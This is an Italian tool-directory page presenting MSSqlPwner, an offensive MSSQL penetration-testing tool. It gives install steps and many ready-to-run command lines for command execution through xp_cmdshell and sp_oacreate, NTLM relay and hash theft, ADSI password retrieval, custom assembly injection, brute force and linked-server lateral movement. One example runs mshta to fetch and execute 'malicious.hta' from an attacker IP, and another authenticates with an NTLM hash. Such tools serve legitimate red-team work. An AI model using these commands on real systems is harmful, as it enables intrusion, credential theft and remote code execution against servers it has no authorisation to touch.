Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/scorpioneslabs/mssqlpwner
Attacchi alle PasswordExploitMovimento LateraleRaccolta InformazioniPenetration TestingAutenticazioneRed TeamingSicurezza dei Database
GitHubscorpioneslabs/mssqlpwner

MSSqlPwner

Strumento avanzato di penetration testing per MSSQL per movimento laterale, esecuzione di comandi, relay NTLM e attacchi brute-force tramite server collegati e molteplici metodi di autenticazione.

Vedi Repository
45863627 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MSSqlPwner

MSSqlPwner è uno strumento avanzato e versatile per pentesting, progettato per interagire e compromettere server MSSQL in modo agevole.
Questo strumento si basa su Impacket, che permette agli attaccanti di autenticarsi ai database utilizzando password in chiaro, hash NTLM e ticket Kerberos.
Con MSSqlPwner, gli utenti possono eseguire comandi personalizzati attraverso vari metodi, tra cui assembly personalizzato, xp_cmdshell, sp_oacreate (Ole Automation Procedures) e molto altro.

Lo strumento inizia con un'enumerazione ricorsiva sui server collegati e sulle possibili impersonificazioni, in modo da raccogliere tutte le possibili catene per l'esecuzione di comandi.

Inoltre, MSSqlPwner può essere utilizzato per capacità di NTLM relay, sfruttando funzioni come xp_dirtree, xp_subdirs, xp_fileexist.

Questo strumento può essere impiegato per valutazioni di movimento laterale ed esplorazione di server collegati.

Se l'utente MSSQL autenticato non dispone delle autorizzazioni per eseguire determinate operazioni, lo strumento può trovare la catena giusta che consentirà l'esecuzione del comando.
Ad esempio, se il tuo utente non può eseguire comandi nel contesto corrente, lo strumento costruirà una catena che utilizza un server collegato e si riconnette al nostro server con privilegi elevati.

Installazione

Iniziare con mssqlpwner è semplicissimo. Puoi farlo scaricandolo direttamente dal repository:

root@kitploit:~
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

Oppure, usando pipx – e dovresti –, prova così:

root@kitploit:~
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

E ora puoi usare il tuo nuovo strumento preferito:

root@kitploit:~
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive

Esempi

Esecuzione di comandi

Forza bruta

Questo strumento supporta molteplici metodi di autenticazione, descritti di seguito.

Disclaimer

Questo strumento è progettato per professionisti della sicurezza e ricercatori solo a scopo di test e non deve essere utilizzato per scopi illegali.

Funzionalità:

  1. Utilità:
  • interactive: permette di utilizzare lo strumento in modo interattivo con esecuzione in tempo reale.
  • enumerate: enumera i server collegati e le catene.
  • get-chain-list – ottiene l'elenco delle catene:
    • Argomenti opzionali:
      • -filter-hostname HOSTNAME – Ottiene risultati filtrati con hostname specifico.
  • get-link-server-list – ottiene l'elenco dei server collegati.
  • set-chain – Imposta l'ID della catena (solo per modalità interattiva!)
    • Argomenti obbligatori:
      • CHAIN – L'ID della catena da impostare.
  • set-link-server – Imposta il server collegato (solo per modalità interattiva!)
    • Argomenti obbligatori:
      • LINK – Il server collegato da impostare.
  • get-rev2self-queries – Recupera le query per tornare a SELF (solo per modalità interattiva!).
  • get-adsi-provider-list – Recupera l'elenco dei provider ADSI.
  1. Esecuzione di comandi: Esegue comandi utilizzando le seguenti funzioni:
  • exec – Esegue comandi usando exec sul server locale o su server collegati
    • Argomenti obbligatori:
      • COMMAND – Il comando da eseguire.
    • Argomenti opzionali:
      • -command_execution_method – Il metodo di esecuzione del comando da utilizzare.
        • Metodi supportati:
          • xp_cmdshell – Esegue comandi usando la procedura xp_cmdshell (predefinito).
          • sp_oacreate – Esegue comandi usando la procedura Ole Automation Procedure (da usare come "cmd /c qualcosa").
  1. Recupero password:
  • retrieve-password – Recupero password dai provider ADSI.
    • Argomenti opzionali:
      • -listen-port – La porta su cui ascoltare (predefinito: 1389).
      • -adsi-provider – Provider ADSI da utilizzare (se non definito, verrà scelto automaticamente).
      • -arch – L'architettura da utilizzare (se non definita, verrà scelta automaticamente).
        • Architetture supportate:
          • x86 – Usa architettura x86.
          • x64 – Usa architettura x64.
  1. Furto e relay di hash NTLM: Esegue relay NTLM o ruba hash NTLM utilizzando le seguenti funzioni:
  • ntlm-relay – Forza un relay NTLM verso un server.
    • Argomenti obbligatori:
      • SMB_SERVER – Il server SMB verso cui fare il relay.
    • Argomenti opzionali:
      • -relay-method – Il metodo di relay da utilizzare.
        • Metodi supportati:
          • xp_dirtree – Usa la procedura xp_dirtree (predefinito).
          • xp_subdirs – Usa la procedura xp_subdirs.
          • xp_fileexist – Usa la procedura xp_fileexist (in alcune situazioni questo modulo deve essere eseguito da una catena privilegiata).
  1. Esecuzione di procedure tramite assembly personalizzato:
  • custom-asm – Esegue procedure usando assembly personalizzato
    • Argomenti obbligatori:
      • COMMAND – Il comando/percorso o query da usare.
    • Argomenti opzionali:
      • -procedure-name – Il nome della procedura da usare (predefinito: execute_command).
        • Procedure supportate:
        • execute_command – Esegue comandi usando assembly personalizzato (predefinito).
        • run_query – Esegue query usando assembly personalizzato.
        • run_query_system_service – Esegue query usando assembly personalizzato come utente sistema (tipo SqlSVC).
  • inject-custom-asm – Inietta codice usando assembly personalizzato.
    • Argomenti obbligatori:
      • file_location – La posizione del file da iniettare.
    • Argomenti opzionali:
    • -procedure-name – Il nome della procedura da usare (predefinito: Inject).
  1. Query dirette
  • direct-query – Esegue query dirette
  • Argomenti obbligatori:
    • QUERY – La query da eseguire.
  • Argomenti opzionali:
  • -query-method – Il metodo di query da usare.
    • Metodi supportati:
      • OpenQuery – Usa la procedura OpenQuery (predefinito).
      • exec_at – Usa la procedura exec AT.
  1. Forza bruta
  • brute – Avvia la forza bruta (può ricevere ticket, hash e password)
  • Argomenti obbligatori:
    • TARGETS_FILE – Un file contenente host e IP su cui fare brute force.
    • -ul – Un file contenente utenti su cui fare brute force.
  • Argomenti opzionali:
    • -pl – Un file contenente password su cui fare brute force.
    • -tl – Un file contenente ticket su cui fare brute force.
    • -hl – Un file contenente hash su cui fare brute force.
  • Note:
  • Se vuoi usare i ticket, devi usare il formato Service Principal Name (SPN) (es. MSSQLSvc/hostname.domain.com:1433).
  • Se usi i ticket, non è necessario impostare password o hash.
  • Se NON usi i ticket, devi fornire almeno un file di password o un file di hash.

Argomenti opzionali generali (devono essere PRIMA della funzione scelta):

  • -link-name – Il nome del server collegato da usare
  • -chain-id – L'ID della catena da usare
  • -max-link-depth – La profondità massima del collegamento da usare (predefinito: 10)
  • -max-impersonation-depth – La profondità massima dell'impersonificazione da usare (predefinito: 10)
  • -auto-yes – Risponde automaticamente sì a tutte le domande (predefinito: False)
  • -timeout – Il timeout da usare (predefinito: 30)

Movimento laterale ed esplorazione di catene:

MSSqlPwner offre opportunità per valutazioni di movimento laterale ed esplorazione di server collegati.
In scenari in cui la sessione corrente non dispone di privilegi amministrativi, lo strumento tenta di trovare una catena che aumenti i propri privilegi tramite server collegati.
Se una sessione su un server collegato ha privilegi più elevati, lo strumento può interagire con quel server ed eseguire una query collegata di ritorno all'host con privilegi elevati, consentendo il movimento laterale verso il server di destinazione.

Metodi di autenticazione:

Supportato da molteplici metodi di autenticazione, tra cui:

  • Credenziali Windows
  • Credenziali MSSQL
  • Autenticazione Kerberos
  • Ticket Kerberos
  • Hash NTLM

Lo strumento si adatta a vari scenari e ambienti, verificando l'efficacia dei meccanismi di autenticazione.

Porta le valutazioni del tuo ambiente MSSQL al livello successivo con la potenza e la versatilità di MSSqlPwner.
Scopri nuove possibilità per movimento laterale, query furtive e valutazioni di sicurezza precise con lo strumento MSSqlPwner.

Utilizzo

root@kitploit:~
# Modalità interattiva
mssqlpwner corp.com/user:[email protected] -windows-auth interactive

# Modalità interattiva con profondità di impersonificazione di 2 livelli
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive

# Esecuzione di assembly personalizzato sul server corrente con autenticazione Windows ed esecuzione del comando hostname
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname

# Esecuzione di assembly personalizzato sul server corrente con autenticazione Windows ed esecuzione del comando hostname sul server collegato SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname

# Esecuzione del comando hostname usando procedure memorizzate sul server collegato SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname

# Esecuzione del comando hostname usando procedure memorizzate sul server collegato SRV01 con metodo sp_oacreate
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# Esecuzione di attacco NTLM relay sul server SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Esecuzione di attacco NTLM relay sull'ID catena 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Esecuzione di attacco NTLM relay sul server locale con comando personalizzato
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250

# Esecuzione di query diretta
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"

# Recupero della password dal server collegato DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password

# Esecuzione di codice usando assembly personalizzato sul server collegato DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Forza bruta usando ticket, hash e password contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Forza bruta usando hash e password contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Forza bruta usando ticket contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Forza bruta usando password contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Forza bruta usando hash contro gli host elencati in hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

Ringraziamenti

  • Kim Dvash per aver disegnato questo magnifico logo.
  • Pablo Martínez per l'ispirazione e l'idea della tecnica di recupero password.
  • Omri Baso per l'aiuto con l'ispirazione e le idee.
Scarica lo strumento
  • rev2self – Torna a SELF (solo per modalità interattiva!).